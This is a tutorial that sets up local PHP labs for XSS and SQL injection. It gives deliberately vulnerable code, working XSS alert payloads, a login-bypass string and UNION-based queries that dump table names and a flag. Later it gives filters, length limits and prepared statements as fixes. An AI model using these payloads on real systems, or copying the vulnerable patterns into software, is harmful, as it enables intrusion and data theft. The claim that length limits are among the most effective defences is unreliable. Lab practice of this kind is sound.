xss和sql注入简单环境的搭建

以下环境都是基于PHP study搭建的,版本为 php 5.5.38+Apache

参考了dvwa的漏洞源码与攻击方式。

xss漏洞的搭建

1.网页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>xss</title>
</head>
<body>
<center>

<form action="" method="post">
<h6>please input your name!</h6>
<input type="text" name="username" value="" /><br />
<input type='submit' value="submit" />
</form>


<?php

function SafeFilter (&$arr)
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
'/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');

if (is_array($arr))
{
foreach ($arr as $key => $value)
{
if (!is_array($value))
{
if (!get_magic_quotes_gpc()) //不对magic_quotes_gpc转义过的字符使用addslashes(),避免双重转义。
{
$value = addslashes($value); //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符) 加上反斜线转义
}
$value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}
//php防注入和XSS攻击通用过滤
$_POST && SafeFilter($_POST);

if (isset($_POST['username']))
{
$s=$_POST['username'];

echo $s;

}

?>
</center>

</script>
</body>
</html>

网页源码十分简单,就是用户输入所要查询的username,之后将其输入的内容打印出来。

起初并没有对用户的输入进行处理,直接执行了echo,造成了xss漏洞的出现。

2.攻击效果

在输入栏中输入以下

1
2
3
<script>alert("xss")</script>

<img src=1 onerror=alert(/xsss/)>

xss.png

xss1.png

3.漏洞修复

修复漏洞只需要对用户的输入内容进行检测和过滤,并将一些可能造成攻击的特殊字符进行转义,让其不起到原本的作用。

过滤函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function SafeFilter (&$arr) 
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
'/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');

if (is_array($arr))
{
foreach ($arr as $key => $value) //循环语句,挨个检测
{
if (!is_array($value))
{
if (!get_magic_quotes_gpc())
{
$value = addslashes($value); //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符) 加上反斜线转义
}
$value = preg_replace($ra,'',$value); //删除非打印字符
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}

各个函数功能如下:

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误

在magic_quotes_gpc=On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。

addslashes函数

addslashes.png

htmlentities() 函数把字符转换为 HTML 实体。

sql注入环境搭建与攻击

网页源码,最常见的登录页面,其中没有对用户名和密码进行过滤,就将其带入sql语句中查询造成了sql注入的出现。

login.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>

<html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Sqli</title>
</head>
<body>

<body>

<div class="limiter">
<div class="container-login100">
<div class="wrap-login100 p-b-160 p-t-50">
<form class="login100-form validate-form" action="check.php" method="post">
<span class="login100-form-title p-b-43">
Account Login
</span>

<div class="wrap-input100 rs1 validate-input" data-validate="Username is required">
<input class="input100" type="text" name="username">
<span class="label-input100">Username</span>
</div>


<div class="wrap-input100 rs2 validate-input" data-validate="Password is required">
<input class="input100" type="password" name="password">
<span class="label-input100">Password</span>
</div>

<div class="container-login100-form-btn">
<button type="submit" class="login100-form-btn">
Sign in
</button>
</div>

</form>
</div>

</a>

</div>

</body>
</html>

check.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$pwd=$_POST['password'];
$uname=$_POST['username'];

$mysqli = new mysqli('localhost','root','root','test'); // 数据库服务器的主机名这里使用的本地主机,密码,使用的数据库名
if(mysqli_connect_errno()){
printf("fail:%s<br>",mysqli_connect_error());
exit();
}
$result = $mysqli->query("select * from users where username='$uname' and password='$pwd'");
echo "<TABLE border=1,width=400>";
echo "<tr><th>Name</th><th>Password</th><tr>";

if($row=mysqli_fetch_row($result))
{
printf ("<tr><td>%s</td><td>%s</td></tr>",$row[1],$row[2]);
echo "<br>";
echo "login success";
}
else
{
echo "username or password error";
}
// echo "</TABLE>";
// echo "</div>";
$mysqli->close();
$result->close();
?>

逻辑很简单,在login.php页面提交用户名和密码,将username和password发送到check.php页面连接数据库检查用户是否合法,用户名和密码都正确则,打印出用户名和密码。

在数据库建立了一张users和flag表,便于注入。

表中的内容如下

sql1.png

sql2.png

sql3.png

1.漏洞利用

直接使用万能密码登陆

1
2
username:1' or 1=1 #
username:111

结果打印出了第一个用户的用户名和密码

sql4.png

这个结果也说名了是字符型注入,接下来利用改注入点获取flag

判断表有几列

1
2
3
1' order by 3#
页面显示正常,而改为4的时候网页出现报错,说明了只有三列
1' order by 4#

判断显示位

1
' union select 1,database(),3#

说明有两个显示位,选择其中一个位置进行注入即可。

获取表名

1
' union select 1,group_concat(table_name),3 from information_schema.TABLES where TABLE_SCHEMA=database()#

sql6.png

获取列名

1
' union select 1,group_concat(COLUMN_name),3 from information_schema.COLUMNS where TABLE_NAME='flag'#

sql7.png

(fl4g是dvwa实验中建立没有删除,所以也显示出来了)

获取flag

1
' union select 1,group_concat(flag),3 from flag#

sqlflag.png

2.漏洞防御

方法一:

最简单的方法对用户名和密码的长度限制,一般用户名的长度不超过十五个字符,而密码的长度一般不超过16个字符长度,所以对用户输入限制长度是最有效的方法之一。因为一般的注入语句都是超过十六个字符的,想要在十六个字符之内构造出有效的注入语句是一件很难的事情。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$pwd=$_POST['password'];
$uname=$_POST['username'];
$mysqli = new mysqli('localhost','root','root','test'); // 数据库服务器的主机名这里使用的本地主机,密码,使用的数据库名
if(mysqli_connect_errno()){
printf("fail:%s<br>",mysqli_connect_error());
exit();
}
$result = $mysqli->query("select * from users where username='$uname' and password='$pwd'");
echo "<TABLE border=1,width=400>";
echo "<tr><th>Name</th><th>Password</th><tr>";

if(strlen($pwd)>=16||strlen($uname)>=15)
{
echo "It is too long.";
}
else if($row=mysqli_fetch_row($result))
{
printf ("<tr><td>%s</td><td>%s</td></tr>",$row[1],$row[2]);
echo "<br>";
echo "login success.";
}
else
{
echo "username or password error.";
}
// echo "</TABLE>";
// echo "</div>";
$mysqli->close();
$result->close();
?>

方法二

对用户输入进行检测和过滤,将其输入的可能产生恶意行为的代码删除或者转义,使其失去原来的功能。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
$pwd=$_POST['password'];
$uname=$_POST['username'];
//echo "select * from admin where passward='$pwd' and name='$uname'<br/>";
//echo "<hr>";

function inject_check($Sql_Str) {//自动过滤Sql的注入语句。
$check=preg_match('/select|from|where|if|database|order|insert|update|or|group_concat|\'|\\*|\*|\.\.\/|\.\/|union|and|ascii|substring|sleep/i',$Sql_Str);
if ($check) {
echo '<script language="JavaScript">alert("hacker");</script>';
exit();
}else{
return $Sql_Str;
}
}
$pwd=inject_check($pwd);
$uname = inject_check($uname);
$mysqli = new mysqli('localhost','root','root','test'); // 数据库服务器的主机名这里使用的本地主机,密码,使用的数据库名
if(mysqli_connect_errno()){
printf("fail:%s<br>",mysqli_connect_error());
exit();
}
$result = $mysqli->query("select * from users where username='$uname' and password='$pwd'");
echo "<TABLE border=1,width=400>";
echo "<tr><th>Name</th><th>Password</th><tr>";

// if(strlen($pwd)>=16||strlen($uname)>=15)
// {
// echo "It is too long.";
// }
// else
if($row=mysqli_fetch_row($result))
{
printf ("<tr><td>%s</td><td>%s</td></tr>",$row[1],$row[2]);
echo "<br>";
echo "login success.";
}
else
{
echo "username or password error.";
}
// echo "</TABLE>";
// echo "</div>";
$mysqli->close();
$result->close();
?>

过滤函数如下,其中将一般注入需要用到的函数和符号都过滤了。

1
2
3
4
5
6
7
8
9
function inject_check($Sql_Str) {//自动过滤Sql的注入语句。
$check=preg_match('/select|from|where|if|database|order|insert|update|or|group_concat|\'|\\*|\*|\.\.\/|\.\/|union|and|ascii|substring|sleep/i',$Sql_Str);
if ($check) {
echo '<script language="JavaScript">alert("hacker");</script>';
exit();
}else{
return $Sql_Str;
}
}

方法三

使用预编译语句

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
$pwd=$_POST['password'];
$uname=$_POST['username'];

// function inject_check($Sql_Str) {//自动过滤Sql的注入语句。
// $check=preg_match('/select|from|where|if|database|order|insert|update|or|group_concat|\'|\\*|\*|\.\.\/|\.\/|union|and|ascii|substring|sleep/i',$Sql_Str);
// if ($check) {
// echo '<script language="JavaScript">alert("hacker");</script>';
// exit();
// }else{
// return $Sql_Str;
// }
// }
// $pwd=inject_check($pwd);
// $uname = inject_check($uname);
//

$mysqli = new mysqli('localhost','root','root','test'); // 数据库服务器的主机名这里使用的本地主机,密码,使用的数据库名
if(mysqli_connect_errno()){
printf("fail:%s<br>",mysqli_connect_error());
exit();
}

echo "<TABLE border=1,width=400>";
echo "<tr><th>Name</th><th>Password</th><tr>";
$result = $mysqli->prepare("select * from users where username=? and password=?");

$result->bind_param('ss',$uname,$pwd);
$result->execute();
$result->store_result();
$result->bind_result($id,$un,$pd); //将查询到的变量绑定到三个自定义的变量中,输出时直接输出这三个变量即可。
if($result->fetch())
{
printf("<tr><td>%s</td><td>%s</td></tr>",$un,$pd);
}
else
{
echo "username or password error.";
}



// if(strlen($pwd)>=16||strlen($uname)>=15)
// {
// echo "It is too long.";
// }
echo "</TABLE>";
echo "</div>";
$result->close();
$mysqli->close();
?>

应用预编译语句后,再次输入注入语句后就不再起到注入作用,只是将其当成正常的查询过程,返回相应的结果。